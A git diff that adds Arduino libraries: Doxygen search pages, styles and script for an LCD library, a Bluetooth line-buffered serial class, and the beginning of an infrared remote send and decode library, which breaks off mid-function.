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+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_63.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_63.html new file mode 100644 index 0000000..118cc32 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_63.html @@ -0,0 +1,38 @@ + + + + + + + +
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+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_64.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_64.html new file mode 100644 index 0000000..ba77ba3 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_64.html @@ -0,0 +1,38 @@ + + + + + + + +
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+
No Matches
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+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_65.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_65.html new file mode 100644 index 0000000..86ec5ea --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_65.html @@ -0,0 +1,26 @@ + + + + + + + +
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Searching...
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+
Loading...
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+
Searching...
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No Matches
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+ LCD + LCD +
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No Matches
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+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_6d.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_6d.html new file mode 100644 index 0000000..6a0ea3f --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_6d.html @@ -0,0 +1,32 @@ + + + + + + + +
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+
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+
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+ moveCursorRight + LCD +
+
+
Searching...
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No Matches
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+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_6e.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_6e.html new file mode 100644 index 0000000..02acfb2 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_6e.html @@ -0,0 +1,50 @@ + + + + + + + +
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+ noAutoscroll + LCD +
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+ outline-style: none; + text-decoration: none; +} + +a.SelectItem:hover { + color: #FFFFFF; + background-color: #3D578C; + outline-style: none; + text-decoration: none; + cursor: pointer; + display: block; +} + +/*---------------- Search results window */ + +iframe#MSearchResults { + width: 60ex; + height: 15em; +} + +#MSearchResultsWindow { + display: none; + position: absolute; + left: 0; top: 0; + border: 1px solid #000; + background-color: #EEF1F7; +} + +/* ----------------------------------- */ + + +#SRIndex { + clear:both; + padding-bottom: 15px; +} + +.SREntry { + font-size: 10pt; + padding-left: 1ex; +} + +.SRPage .SREntry { + font-size: 8pt; + padding: 1px 5px; +} + +body.SRPage { + margin: 5px 2px; +} + +.SRChildren { + padding-left: 3ex; padding-bottom: .5em +} + +.SRPage .SRChildren { + display: none; +} + +.SRSymbol { + font-weight: bold; + color: #425E97; + font-family: Arial, Verdana, sans-serif; + text-decoration: none; + outline: none; +} + +a.SRScope { + display: block; + color: #425E97; + font-family: Arial, Verdana, sans-serif; + text-decoration: none; + outline: none; +} + +a.SRSymbol:focus, a.SRSymbol:active, +a.SRScope:focus, a.SRScope:active { + text-decoration: underline; +} + +span.SRScope { + padding-left: 4px; +} + +.SRPage .SRStatus { + padding: 2px 5px; + font-size: 8pt; + font-style: italic; +} + +.SRResult { + display: none; +} + +DIV.searchresults { + margin-left: 10px; + margin-right: 10px; +} + +/*---------------- External search page results */ + +.searchresult { + background-color: #F0F3F8; +} + +.pages b { + color: white; + padding: 5px 5px 3px 5px; + background-image: url("../tab_a.png"); + background-repeat: repeat-x; + text-shadow: 0 1px 1px #000000; +} + +.pages { + line-height: 17px; + margin-left: 4px; + text-decoration: none; +} + +.hl { + font-weight: bold; +} + +#searchresults { + margin-bottom: 20px; +} + +.searchpages { + margin-top: 10px; +} + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/search.js b/libraries/NewliquidCrystal/utility/docs/html/search/search.js new file mode 100644 index 0000000..dedce3b --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/search.js @@ -0,0 +1,791 @@ +function convertToId(search) +{ + var result = ''; + for (i=0;i do a search + { + this.Search(); + } + } + + this.OnSearchSelectKey = function(evt) + { + var e = (evt) ? evt : window.event; // for IE + if (e.keyCode==40 && this.searchIndex0) // Up + { + this.searchIndex--; + this.OnSelectItem(this.searchIndex); + } + else if (e.keyCode==13 || e.keyCode==27) + { + this.OnSelectItem(this.searchIndex); + this.CloseSelectionWindow(); + this.DOMSearchField().focus(); + } + return false; + } + + // --------- Actions + + // Closes the results window. + this.CloseResultsWindow = function() + { + this.DOMPopupSearchResultsWindow().style.display = 'none'; + this.DOMSearchClose().style.display = 'none'; + this.Activate(false); + } + + this.CloseSelectionWindow = function() + { + this.DOMSearchSelectWindow().style.display = 'none'; + } + + // Performs a search. + this.Search = function() + { + this.keyTimeout = 0; + + // strip leading whitespace + var searchValue = this.DOMSearchField().value.replace(/^ +/, ""); + + var code = searchValue.toLowerCase().charCodeAt(0); + var idxChar = searchValue.substr(0, 1).toLowerCase(); + if ( 0xD800 <= code && code <= 0xDBFF && searchValue > 1) // surrogate pair + { + idxChar = searchValue.substr(0, 2); + } + + var resultsPage; + var resultsPageWithSearch; + var hasResultsPage; + + var idx = indexSectionsWithContent[this.searchIndex].indexOf(idxChar); + if (idx!=-1) + { + var hexCode=idx.toString(16); + resultsPage = this.resultsPath + '/' + indexSectionNames[this.searchIndex] + '_' + hexCode + '.html'; + resultsPageWithSearch = resultsPage+'?'+escape(searchValue); + hasResultsPage = true; + } + else // nothing available for this search term + { + resultsPage = this.resultsPath + '/nomatches.html'; + resultsPageWithSearch = resultsPage; + hasResultsPage = false; + } + + window.frames.MSearchResults.location = resultsPageWithSearch; + var domPopupSearchResultsWindow = this.DOMPopupSearchResultsWindow(); + + if (domPopupSearchResultsWindow.style.display!='block') + { + var domSearchBox = this.DOMSearchBox(); + this.DOMSearchClose().style.display = 'inline'; + if (this.insideFrame) + { + var domPopupSearchResults = this.DOMPopupSearchResults(); + domPopupSearchResultsWindow.style.position = 'relative'; + domPopupSearchResultsWindow.style.display = 'block'; + var width = document.body.clientWidth - 8; // the -8 is for IE :-( + domPopupSearchResultsWindow.style.width = width + 'px'; + domPopupSearchResults.style.width = width + 'px'; + } + else + { + var domPopupSearchResults = this.DOMPopupSearchResults(); + var left = getXPos(domSearchBox) + 150; // domSearchBox.offsetWidth; + var top = getYPos(domSearchBox) + 20; // domSearchBox.offsetHeight + 1; + domPopupSearchResultsWindow.style.display = 'block'; + left -= domPopupSearchResults.offsetWidth; + domPopupSearchResultsWindow.style.top = top + 'px'; + domPopupSearchResultsWindow.style.left = left + 'px'; + } + } + + this.lastSearchValue = searchValue; + this.lastResultsPage = resultsPage; + } + + // -------- Activation Functions + + // Activates or deactivates the search panel, resetting things to + // their default values if necessary. + this.Activate = function(isActive) + { + if (isActive || // open it + this.DOMPopupSearchResultsWindow().style.display == 'block' + ) + { + this.DOMSearchBox().className = 'MSearchBoxActive'; + + var searchField = this.DOMSearchField(); + + if (searchField.value == this.searchLabel) // clear "Search" term upon entry + { + searchField.value = ''; + this.searchActive = true; + } + } + else if (!isActive) // directly remove the panel + { + this.DOMSearchBox().className = 'MSearchBoxInactive'; + this.DOMSearchField().value = this.searchLabel; + this.searchActive = false; + this.lastSearchValue = '' + this.lastResultsPage = ''; + } + } +} + +// ----------------------------------------------------------------------- + +// The class that handles everything on the search results page. +function SearchResults(name) +{ + // The number of matches from the last run of . + this.lastMatchCount = 0; + this.lastKey = 0; + this.repeatOn = false; + + // Toggles the visibility of the passed element ID. + this.FindChildElement = function(id) + { + var parentElement = document.getElementById(id); + var element = parentElement.firstChild; + + while (element && element!=parentElement) + { + if (element.nodeName == 'DIV' && element.className == 'SRChildren') + { + return element; + } + + if (element.nodeName == 'DIV' && element.hasChildNodes()) + { + element = element.firstChild; + } + else if (element.nextSibling) + { + element = element.nextSibling; + } + else + { + do + { + element = element.parentNode; + } + while (element && element!=parentElement && !element.nextSibling); + + if (element && element!=parentElement) + { + element = element.nextSibling; + } + } + } + } + + this.Toggle = function(id) + { + var element = this.FindChildElement(id); + if (element) + { + if (element.style.display == 'block') + { + element.style.display = 'none'; + } + else + { + element.style.display = 'block'; + } + } + } + + // Searches for the passed string. If there is no parameter, + // it takes it from the URL query. + // + // Always returns true, since other documents may try to call it + // and that may or may not be possible. + this.Search = function(search) + { + if (!search) // get search word from URL + { + search = window.location.search; + search = search.substring(1); // Remove the leading '?' + search = unescape(search); + } + + search = search.replace(/^ +/, ""); // strip leading spaces + search = search.replace(/ +$/, ""); // strip trailing spaces + search = search.toLowerCase(); + search = convertToId(search); + + var resultRows = document.getElementsByTagName("div"); + var matches = 0; + + var i = 0; + while (i < resultRows.length) + { + var row = resultRows.item(i); + if (row.className == "SRResult") + { + var rowMatchName = row.id.toLowerCase(); + rowMatchName = rowMatchName.replace(/^sr\d*_/, ''); // strip 'sr123_' + + if (search.length<=rowMatchName.length && + rowMatchName.substr(0, search.length)==search) + { + row.style.display = 'block'; + matches++; + } + else + { + row.style.display = 'none'; + } + } + i++; + } + document.getElementById("Searching").style.display='none'; + if (matches == 0) // no results + { + document.getElementById("NoMatches").style.display='block'; + } + else // at least one result + { + document.getElementById("NoMatches").style.display='none'; + } + this.lastMatchCount = matches; + return true; + } + + // return the first item with index index or higher that is visible + this.NavNext = function(index) + { + var focusItem; + while (1) + { + var focusName = 'Item'+index; + focusItem = document.getElementById(focusName); + if (focusItem && focusItem.parentNode.parentNode.style.display=='block') + { + break; + } + else if (!focusItem) // last element + { + break; + } + focusItem=null; + index++; + } + return focusItem; + } + + this.NavPrev = function(index) + { + var focusItem; + while (1) + { + var focusName = 'Item'+index; + focusItem = document.getElementById(focusName); + if (focusItem && focusItem.parentNode.parentNode.style.display=='block') + { + break; + } + else if (!focusItem) // last element + { + break; + } + focusItem=null; + index--; + } + return focusItem; + } + + this.ProcessKeys = function(e) + { + if (e.type == "keydown") + { + this.repeatOn = false; + this.lastKey = e.keyCode; + } + else if (e.type == "keypress") + { + if (!this.repeatOn) + { + if (this.lastKey) this.repeatOn = true; + return false; // ignore first keypress after keydown + } + } + else if (e.type == "keyup") + { + this.lastKey = 0; + this.repeatOn = false; + } + return this.lastKey!=0; + } + + this.Nav = function(evt,itemIndex) + { + var e = (evt) ? evt : window.event; // for IE + if (e.keyCode==13) return true; + if (!this.ProcessKeys(e)) return false; + + if (this.lastKey==38) // Up + { + var newIndex = itemIndex-1; + var focusItem = this.NavPrev(newIndex); + if (focusItem) + { + var child = this.FindChildElement(focusItem.parentNode.parentNode.id); + if (child && child.style.display == 'block') // children visible + { + var n=0; + var tmpElem; + while (1) // search for last child + { + tmpElem = document.getElementById('Item'+newIndex+'_c'+n); + if (tmpElem) + { + focusItem = tmpElem; + } + else // found it! + { + break; + } + n++; + } + } + } + if (focusItem) + { + focusItem.focus(); + } + else // return focus to search field + { + parent.document.getElementById("MSearchField").focus(); + } + } + else if (this.lastKey==40) // Down + { + var newIndex = itemIndex+1; + var focusItem; + var item = document.getElementById('Item'+itemIndex); + var elem = this.FindChildElement(item.parentNode.parentNode.id); + if (elem && elem.style.display == 'block') // children visible + { + focusItem = document.getElementById('Item'+itemIndex+'_c0'); + } + if (!focusItem) focusItem = this.NavNext(newIndex); + if (focusItem) focusItem.focus(); + } + else if (this.lastKey==39) // Right + { + var item = document.getElementById('Item'+itemIndex); + var elem = this.FindChildElement(item.parentNode.parentNode.id); + if (elem) elem.style.display = 'block'; + } + else if (this.lastKey==37) // Left + { + var item = document.getElementById('Item'+itemIndex); + var elem = this.FindChildElement(item.parentNode.parentNode.id); + if (elem) elem.style.display = 'none'; + } + else if (this.lastKey==27) // Escape + { + parent.searchBox.CloseResultsWindow(); + parent.document.getElementById("MSearchField").focus(); + } + else if (this.lastKey==13) // Enter + { + return true; + } + return false; + } + + this.NavChild = function(evt,itemIndex,childIndex) + { + var e = (evt) ? evt : window.event; // for IE + if (e.keyCode==13) return true; + if (!this.ProcessKeys(e)) return false; + + if (this.lastKey==38) // Up + { + if (childIndex>0) + { + var newIndex = childIndex-1; + document.getElementById('Item'+itemIndex+'_c'+newIndex).focus(); + } + else // already at first child, jump to parent + { + document.getElementById('Item'+itemIndex).focus(); + } + } + else if (this.lastKey==40) // Down + { + var newIndex = childIndex+1; + var elem = document.getElementById('Item'+itemIndex+'_c'+newIndex); + if (!elem) // last child, jump to parent next parent + { + elem = this.NavNext(itemIndex+1); + } + if (elem) + { + elem.focus(); + } + } + else if (this.lastKey==27) // Escape + { + parent.searchBox.CloseResultsWindow(); + parent.document.getElementById("MSearchField").focus(); + } + else if (this.lastKey==13) // Enter + { + return true; + } + return false; + } +} + +function setKeyActions(elem,action) +{ + elem.setAttribute('onkeydown',action); + elem.setAttribute('onkeypress',action); + elem.setAttribute('onkeyup',action); +} + +function setClassAttr(elem,attr) +{ + elem.setAttribute('class',attr); + elem.setAttribute('className',attr); +} + +function createResults() +{ + var results = document.getElementById("SRResults"); + for (var e=0; ek7RCwB~R6VQOP#AvB$vH7i{6H{96zot$7cZT<7246EF5Np6N}+$IbiG6W zg#87A+NFaX+=_^xM1#gCtshC=E{%9^uQX_%?YwXvo{#q&MnpJ8uh(O?ZRc&~_1%^SsPxG@rfElJg-?U zm!Cz-IOn(qJP3kDp-^~qt+FGbl=5jNli^Wj_xIBG{Rc0en{!oFvyoNC7{V~T8}b>| z=jL2WIReZzX(YN(_9fV;BBD$VXQIxNasAL8ATvEu822WQ%mvv4FO#qs` BFGc_W literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/search_r.png b/libraries/NewliquidCrystal/utility/docs/html/search/search_r.png new file mode 100644 index 0000000000000000000000000000000000000000..97ee8b439687084201b79c6f776a41f495c6392a GIT binary patch literal 612 zcmV-q0-ODbP)PbXFRCwB?)W514K@j&X?z2*SxFI6-@HT2E2K=9X9%Pb zEK*!TBw&g(DMC;|A)uGlRkOS9vd-?zNs%bR4d$w+ox_iFnE8fvIvv7^5<(>Te12Li z7C)9srCzmK{ZcNM{YIl9j{DePFgOWiS%xG@5CnnnJa4nvY<^glbz7^|-ZY!dUkAwd z{gaTC@_>b5h~;ug#R0wRL0>o5!hxm*s0VW?8dr}O#zXTRTnrQm_Z7z1Mrnx>&p zD4qifUjzLvbVVWi?l?rUzwt^sdb~d!f_LEhsRVIXZtQ=qSxuxqm zEX#tf>$?M_Y1-LSDT)HqG?`%-%ZpY!#{N!rcNIiL;G7F0`l?)mNGTD9;f9F5Up3Kg zw}a<-JylhG&;=!>B+fZaCX+?C+kHYrP%c?X2!Zu_olK|GcS4A70HEy;vn)I0>0kLH z`jc(WIaaHc7!HS@f*^R^Znx8W=_jIl2oWJoQ*h1^$FX!>*PqR1J8k|fw}w_y}TpE>7m8DqDO<3z`OzXt$ccSejbEZCg@0000 + + + + + + +
+
Loading...
+
+
+ fio_bit + FastIO.h +
+
+
+
+ fio_register + FastIO.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/variables_5f.html b/libraries/NewliquidCrystal/utility/docs/html/search/variables_5f.html new file mode 100644 index 0000000..0bac2f1 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/variables_5f.html @@ -0,0 +1,56 @@ + + + + + + + +
+
Loading...
+
+
+ _cols + LCD +
+
+
+
+ _displaycontrol + LCD +
+
+
+
+ _displayfunction + LCD +
+
+
+
+ _displaymode + LCD +
+
+
+
+ _numlines + LCD +
+
+
+
+ _polarity + LCD +
+
+
Searching...
+
No Matches
+ +
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+ text-shadow: 0px 1px 1px rgba(0, 0, 0, 1.0); +} diff --git a/libraries/PLabBT/PLabBTSerial.cpp b/libraries/PLabBT/PLabBTSerial.cpp new file mode 100755 index 0000000..8e1e7d5 --- /dev/null +++ b/libraries/PLabBT/PLabBTSerial.cpp @@ -0,0 +1,85 @@ +#include + +int PLabBTSerial::read() { + if (_available) + { + int r = _buffer[_retLoc]; + _available--; + if (_available) + { + _retLoc++; + } + else + { + _bLoc = 0; + _retLoc = 0; + } + return r; + } + return -1; +} + +void PLabBTSerial::read(char* buffer, int bufferSize) { + if (_available > bufferSize) + { + return; + } + int i = 0; + while (_available) + { + buffer[i] = read(); + i++; + } +} + +int PLabBTSerial::available() +{ + if (_available > 0) + { + return _available; + } + while (SoftwareSerial::available() > 0) + { + _buffer[_bLoc] = SoftwareSerial::read(); + if (_buffer[_bLoc] == '\r') + { + // Should just skip + } + else if (_buffer[_bLoc] == '\n') + { + // New line found. End string and return available data count + _buffer[_bLoc] = '\0'; + _available = (_bLoc - _retLoc) + 1; + return _available; + } + else + { + _bLoc++; + } + while (_bLoc >= _bufferSize) + { + _bLoc--; + } + } + return 0; +} + +// Constructor +PLabBTSerial::PLabBTSerial(uint8_t receivePin, uint8_t transmitPin, bool inverse_logic /*= false*/, uint8_t bufferSize /*= 50*/) : + SoftwareSerial(receivePin, transmitPin, inverse_logic) +{ + _bufferSize = bufferSize; + _buffer = new char[_bufferSize]; + _bLoc = 0; + _retLoc = 0; + _available = 0; +} + +// Destructor +PLabBTSerial::~PLabBTSerial() +{ + delete[] _buffer; + end(); +} + + diff --git a/libraries/PLabBT/PLabBTSerial.h b/libraries/PLabBT/PLabBTSerial.h new file mode 100755 index 0000000..6a30cc9 --- /dev/null +++ b/libraries/PLabBT/PLabBTSerial.h @@ -0,0 +1,46 @@ + +/* + * PLabBTSerial + * Version 0.1 February, 2015 + * Library that simplify serial line communication using SoftwareSerial. + * Allows the user to batch up characters to form an entire line before reading + * + * Author Inge Edward Halsaunet + */ + + +#ifndef PLAB_BT_SERIAL_H +#define PLAB_BT_SERIAL_H + +#include +#include + +class PLabBTSerial : public SoftwareSerial +{ +private: + // Size of buffer. + uint8_t _bufferSize; + // how far is written into the buffer + uint8_t _bLoc; + // How much is read from user + uint8_t _retLoc; + // How much is left available to read on this line + int _available; + // the buffer + char *_buffer; +public: + PLabBTSerial(uint8_t receivePin, uint8_t transmitPin, bool inverse_logic = false, uint8_t bufferSize = 50); + ~PLabBTSerial(); + + // The ones that will be overriden + virtual int read(); + virtual int available(); + + // Completely new method. Fills the given buffer with data received, + // given the buffer is large enough. Given buffer size identified as + // bufferSize + virtual void read(char* buffer, int bufferSize); + +}; + +#endif diff --git a/libraries/PLabLib1/PLab_IRremote.cpp b/libraries/PLabLib1/PLab_IRremote.cpp new file mode 100755 index 0000000..50db3d7 --- /dev/null +++ b/libraries/PLabLib1/PLab_IRremote.cpp @@ -0,0 +1,1154 @@ +/* + * IRremote + * Version 0.11 August, 2009 + * Copyright 2009 Ken Shirriff + * For details, see http://arcfn.com/2009/08/multi-protocol-infrared-remote-library.html + * + * Modified by Paul Stoffregen to support other boards and timers + * Modified by Mitra Ardron + * Added Sanyo and Mitsubishi controllers + * Modified Sony to spot the repeat codes that some Sony's send + * + * Interrupt code based on NECIRrcv by Joe Knapp + * http://www.arduino.cc/cgi-bin/yabb2/YaBB.pl?num=1210243556 + * Also influenced by http://zovirl.com/2008/11/12/building-a-universal-remote-with-an-arduino/ + * + * JVC and Panasonic protocol added by Kristian Lauszus (Thanks to zenwheel and other people at the original blog post) + * LG added by Darryl Smith (based on the JVC protocol) + */ + +#include "PLab_IRremote.h" +#include "PLab_IRremoteInt.h" + +// Provides ISR +#include + +volatile irparams_t irparams; + +// These versions of MATCH, MATCH_MARK, and MATCH_SPACE are only for debugging. +// To use them, set DEBUG in IRremoteInt.h +// Normally macros are used for efficiency +#ifdef DEBUG +int MATCH(int measured, int desired) { + Serial.print("Testing: "); + Serial.print(TICKS_LOW(desired), DEC); + Serial.print(" <= "); + Serial.print(measured, DEC); + Serial.print(" <= "); + Serial.println(TICKS_HIGH(desired), DEC); + return measured >= TICKS_LOW(desired) && measured <= TICKS_HIGH(desired); +} + +int MATCH_MARK(int measured_ticks, int desired_us) { + Serial.print("Testing mark "); + Serial.print(measured_ticks * USECPERTICK, DEC); + Serial.print(" vs "); + Serial.print(desired_us, DEC); + Serial.print(": "); + Serial.print(TICKS_LOW(desired_us + MARK_EXCESS), DEC); + Serial.print(" <= "); + Serial.print(measured_ticks, DEC); + Serial.print(" <= "); + Serial.println(TICKS_HIGH(desired_us + MARK_EXCESS), DEC); + return measured_ticks >= TICKS_LOW(desired_us + MARK_EXCESS) && measured_ticks <= TICKS_HIGH(desired_us + MARK_EXCESS); +} + +int MATCH_SPACE(int measured_ticks, int desired_us) { + Serial.print("Testing space "); + Serial.print(measured_ticks * USECPERTICK, DEC); + Serial.print(" vs "); + Serial.print(desired_us, DEC); + Serial.print(": "); + Serial.print(TICKS_LOW(desired_us - MARK_EXCESS), DEC); + Serial.print(" <= "); + Serial.print(measured_ticks, DEC); + Serial.print(" <= "); + Serial.println(TICKS_HIGH(desired_us - MARK_EXCESS), DEC); + return measured_ticks >= TICKS_LOW(desired_us - MARK_EXCESS) && measured_ticks <= TICKS_HIGH(desired_us - MARK_EXCESS); +} +#else +int MATCH(int measured, int desired) {return measured >= TICKS_LOW(desired) && measured <= TICKS_HIGH(desired);} +int MATCH_MARK(int measured_ticks, int desired_us) {return MATCH(measured_ticks, (desired_us + MARK_EXCESS));} +int MATCH_SPACE(int measured_ticks, int desired_us) {return MATCH(measured_ticks, (desired_us - MARK_EXCESS));} +// Debugging versions are in IRremote.cpp +#endif + +void IRsend::sendNEC(unsigned long data, int nbits) +{ + enableIROut(38); + mark(NEC_HDR_MARK); + space(NEC_HDR_SPACE); + for (int i = 0; i < nbits; i++) { + if (data & TOPBIT) { + mark(NEC_BIT_MARK); + space(NEC_ONE_SPACE); + } + else { + mark(NEC_BIT_MARK); + space(NEC_ZERO_SPACE); + } + data <<= 1; + } + mark(NEC_BIT_MARK); + space(0); +} + +void IRsend::sendSony(unsigned long data, int nbits) { + enableIROut(40); + mark(SONY_HDR_MARK); + space(SONY_HDR_SPACE); + data = data << (32 - nbits); + for (int i = 0; i < nbits; i++) { + if (data & TOPBIT) { + mark(SONY_ONE_MARK); + space(SONY_HDR_SPACE); + } + else { + mark(SONY_ZERO_MARK); + space(SONY_HDR_SPACE); + } + data <<= 1; + } +} + +void IRsend::sendRaw(unsigned int buf[], int len, int hz) +{ + enableIROut(hz); + for (int i = 0; i < len; i++) { + if (i & 1) { + space(buf[i]); + } + else { + mark(buf[i]); + } + } + space(0); // Just to be sure +} + +// Note: first bit must be a one (start bit) +void IRsend::sendRC5(unsigned long data, int nbits) +{ + enableIROut(36); + data = data << (32 - nbits); + mark(RC5_T1); // First start bit + space(RC5_T1); // Second start bit + mark(RC5_T1); // Second start bit + for (int i = 0; i < nbits; i++) { + if (data & TOPBIT) { + space(RC5_T1); // 1 is space, then mark + mark(RC5_T1); + } + else { + mark(RC5_T1); + space(RC5_T1); + } + data <<= 1; + } + space(0); // Turn off at end +} + +// Caller needs to take care of flipping the toggle bit +void IRsend::sendRC6(unsigned long data, int nbits) +{ + enableIROut(36); + data = data << (32 - nbits); + mark(RC6_HDR_MARK); + space(RC6_HDR_SPACE); + mark(RC6_T1); // start bit + space(RC6_T1); + int t; + for (int i = 0; i < nbits; i++) { + if (i == 3) { + // double-wide trailer bit + t = 2 * RC6_T1; + } + else { + t = RC6_T1; + } + if (data & TOPBIT) { + mark(t); + space(t); + } + else { + space(t); + mark(t); + } + + data <<= 1; + } + space(0); // Turn off at end +} +void IRsend::sendPanasonic(unsigned int address, unsigned long data) { + enableIROut(35); + mark(PANASONIC_HDR_MARK); + space(PANASONIC_HDR_SPACE); + + for(int i=0;i<16;i++) + { + mark(PANASONIC_BIT_MARK); + if (address & 0x8000) { + space(PANASONIC_ONE_SPACE); + } else { + space(PANASONIC_ZERO_SPACE); + } + address <<= 1; + } + for (int i=0; i < 32; i++) { + mark(PANASONIC_BIT_MARK); + if (data & TOPBIT) { + space(PANASONIC_ONE_SPACE); + } else { + space(PANASONIC_ZERO_SPACE); + } + data <<= 1; + } + mark(PANASONIC_BIT_MARK); + space(0); +} +void IRsend::sendJVC(unsigned long data, int nbits, int repeat) +{ + enableIROut(38); + data = data << (32 - nbits); + if (!repeat){ + mark(JVC_HDR_MARK); + space(JVC_HDR_SPACE); + } + for (int i = 0; i < nbits; i++) { + if (data & TOPBIT) { + mark(JVC_BIT_MARK); + space(JVC_ONE_SPACE); + } + else { + mark(JVC_BIT_MARK); + space(JVC_ZERO_SPACE); + } + data <<= 1; + } + mark(JVC_BIT_MARK); + space(0); +} + +void IRsend::sendSAMSUNG(unsigned long data, int nbits) +{ + enableIROut(38); + mark(SAMSUNG_HDR_MARK); + space(SAMSUNG_HDR_SPACE); + for (int i = 0; i < nbits; i++) { + if (data & TOPBIT) { + mark(SAMSUNG_BIT_MARK); + space(SAMSUNG_ONE_SPACE); + } + else { + mark(SAMSUNG_BIT_MARK); + space(SAMSUNG_ZERO_SPACE); + } + data <<= 1; + } + mark(SAMSUNG_BIT_MARK); + space(0); +} + +void IRsend::mark(int time) { + // Sends an IR mark for the specified number of microseconds. + // The mark output is modulated at the PWM frequency. + TIMER_ENABLE_PWM; // Enable pin 3 PWM output + if (time > 0) delayMicroseconds(time); +} + +/* Leave pin off for time (given in microseconds) */ +void IRsend::space(int time) { + // Sends an IR space for the specified number of microseconds. + // A space is no output, so the PWM output is disabled. + TIMER_DISABLE_PWM; // Disable pin 3 PWM output + if (time > 0) delayMicroseconds(time); +} + +void IRsend::enableIROut(int khz) { + // Enables IR output. The khz value controls the modulation frequency in kilohertz. + // The IR output will be on pin 3 (OC2B). + // This routine is designed for 36-40KHz; if you use it for other values, it's up to you + // to make sure it gives reasonable results. (Watch out for overflow / underflow / rounding.) + // TIMER2 is used in phase-correct PWM mode, with OCR2A controlling the frequency and OCR2B + // controlling the duty cycle. + // There is no prescaling, so the output frequency is 16MHz / (2 * OCR2A) + // To turn the output on and off, we leave the PWM running, but connect and disconnect the output pin. + // A few hours staring at the ATmega documentation and this will all make sense. + // See my Secrets of Arduino PWM at http://arcfn.com/2009/07/secrets-of-arduino-pwm.html for details. + + + // Disable the Timer2 Interrupt (which is used for receiving IR) + TIMER_DISABLE_INTR; //Timer2 Overflow Interrupt + + pinMode(TIMER_PWM_PIN, OUTPUT); + digitalWrite(TIMER_PWM_PIN, LOW); // When not sending PWM, we want it low + + // COM2A = 00: disconnect OC2A + // COM2B = 00: disconnect OC2B; to send signal set to 10: OC2B non-inverted + // WGM2 = 101: phase-correct PWM with OCRA as top + // CS2 = 000: no prescaling + // The top value for the timer. The modulation frequency will be SYSCLOCK / 2 / OCR2A. + TIMER_CONFIG_KHZ(khz); +} + +IRrecv::IRrecv(int recvpin) +{ + irparams.recvpin = recvpin; + irparams.blinkflag = 0; +} + +// initialization +void IRrecv::enableIRIn() { + cli(); + // setup pulse clock timer interrupt + //Prescale /8 (16M/8 = 0.5 microseconds per tick) + // Therefore, the timer interval can range from 0.5 to 128 microseconds + // depending on the reset value (255 to 0) + TIMER_CONFIG_NORMAL(); + + //Timer2 Overflow Interrupt Enable + TIMER_ENABLE_INTR; + + TIMER_RESET; + + sei(); // enable interrupts + + // initialize state machine variables + irparams.rcvstate = STATE_IDLE; + irparams.rawlen = 0; + + // set pin modes + pinMode(irparams.recvpin, INPUT); +} + +// enable/disable blinking of pin 13 on IR processing +void IRrecv::blink13(int blinkflag) +{ + irparams.blinkflag = blinkflag; + if (blinkflag) + pinMode(BLINKLED, OUTPUT); +} + +// TIMER2 interrupt code to collect raw data. +// Widths of alternating SPACE, MARK are recorded in rawbuf. +// Recorded in ticks of 50 microseconds. +// rawlen counts the number of entries recorded so far. +// First entry is the SPACE between transmissions. +// As soon as a SPACE gets long, ready is set, state switches to IDLE, timing of SPACE continues. +// As soon as first MARK arrives, gap width is recorded, ready is cleared, and new logging starts +ISR(TIMER_INTR_NAME) +{ + TIMER_RESET; + + uint8_t irdata = (uint8_t)digitalRead(irparams.recvpin); + + irparams.timer++; // One more 50us tick + if (irparams.rawlen >= RAWBUF) { + // Buffer overflow + irparams.rcvstate = STATE_STOP; + } + switch(irparams.rcvstate) { + case STATE_IDLE: // In the middle of a gap + if (irdata == MARK) { + if (irparams.timer < GAP_TICKS) { + // Not big enough to be a gap. + irparams.timer = 0; + } + else { + // gap just ended, record duration and start recording transmission + irparams.rawlen = 0; + irparams.rawbuf[irparams.rawlen++] = irparams.timer; + irparams.timer = 0; + irparams.rcvstate = STATE_MARK; + } + } + break; + case STATE_MARK: // timing MARK + if (irdata == SPACE) { // MARK ended, record time + irparams.rawbuf[irparams.rawlen++] = irparams.timer; + irparams.timer = 0; + irparams.rcvstate = STATE_SPACE; + } + break; + case STATE_SPACE: // timing SPACE + if (irdata == MARK) { // SPACE just ended, record it + irparams.rawbuf[irparams.rawlen++] = irparams.timer; + irparams.timer = 0; + irparams.rcvstate = STATE_MARK; + } + else { // SPACE + if (irparams.timer > GAP_TICKS) { + // big SPACE, indicates gap between codes + // Mark current code as ready for processing + // Switch to STOP + // Don't reset timer; keep counting space width + irparams.rcvstate = STATE_STOP; + } + } + break; + case STATE_STOP: // waiting, measuring gap + if (irdata == MARK) { // reset gap timer + irparams.timer = 0; + } + break; + } + + if (irparams.blinkflag) { + if (irdata == MARK) { + BLINKLED_ON(); // turn pin 13 LED on + } + else { + BLINKLED_OFF(); // turn pin 13 LED off + } + } +} + +void IRrecv::resume() { + irparams.rcvstate = STATE_IDLE; + irparams.rawlen = 0; +} + + + +// Decodes the received IR message +// Returns 0 if no data ready, 1 if data ready. +// Results of decoding are stored in results +int IRrecv::decode(decode_results *results) { + results->rawbuf = irparams.rawbuf; + results->rawlen = irparams.rawlen; + if (irparams.rcvstate != STATE_STOP) { + return ERR; + } +#ifdef DEBUG + Serial.println("Attempting NEC decode"); +#endif + if (decodeNEC(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting Sony decode"); +#endif + if (decodeSony(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting 